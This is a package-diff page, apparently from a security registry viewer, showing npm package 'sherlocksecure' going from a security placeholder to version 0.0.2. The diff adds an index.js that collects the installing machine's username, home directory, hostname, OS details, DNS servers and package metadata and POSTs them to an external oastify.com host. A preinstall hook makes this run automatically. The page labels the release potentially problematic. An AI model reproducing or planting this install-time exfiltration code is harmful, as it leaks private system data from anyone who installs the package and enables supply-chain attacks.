sherlocksecure 0.0.1-security → 0.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of sherlocksecure might be problematic. Click here for more details.
- package/index.js +52 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,52 @@
|
|
1
|
+
//author:- sherlocksecure@bugcrowdninja.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hs: os.release(),
|
14
|
+
hp: os.platform(),
|
15
|
+
ho: os.type(),
|
16
|
+
hc: os.cpus(),
|
17
|
+
ht: os.tmpdir(),
|
18
|
+
hn: os.hostname(),
|
19
|
+
un: os.userInfo().username,
|
20
|
+
dns: dns.getServers(),
|
21
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
22
|
+
v: packageJSON.version,
|
23
|
+
pjson: packageJSON,
|
24
|
+
});
|
25
|
+
|
26
|
+
var postData = querystring.stringify({
|
27
|
+
msg: trackingData,
|
28
|
+
});
|
29
|
+
|
30
|
+
var options = {
|
31
|
+
hostname: "p0qetmb6ecphw0olta37pg8iu900op.oastify.com",
|
32
|
+
port: 443,
|
33
|
+
path: "/",
|
34
|
+
method: "POST",
|
35
|
+
headers: {
|
36
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
37
|
+
"Content-Length": postData.length,
|
38
|
+
},
|
39
|
+
};
|
40
|
+
|
41
|
+
var req = https.request(options, (res) => {
|
42
|
+
res.on("data", (d) => {
|
43
|
+
process.stdout.write(d);
|
44
|
+
});
|
45
|
+
});
|
46
|
+
|
47
|
+
req.on("error", (e) => {
|
48
|
+
// console.error(e);
|
49
|
+
});
|
50
|
+
|
51
|
+
req.write(postData);
|
52
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "sherlocksecure",
|
3
|
-
"version": "0.0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.0.2",
|
4
|
+
"description": "Udhaya Security Research",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=sherlocksecure for more information.
|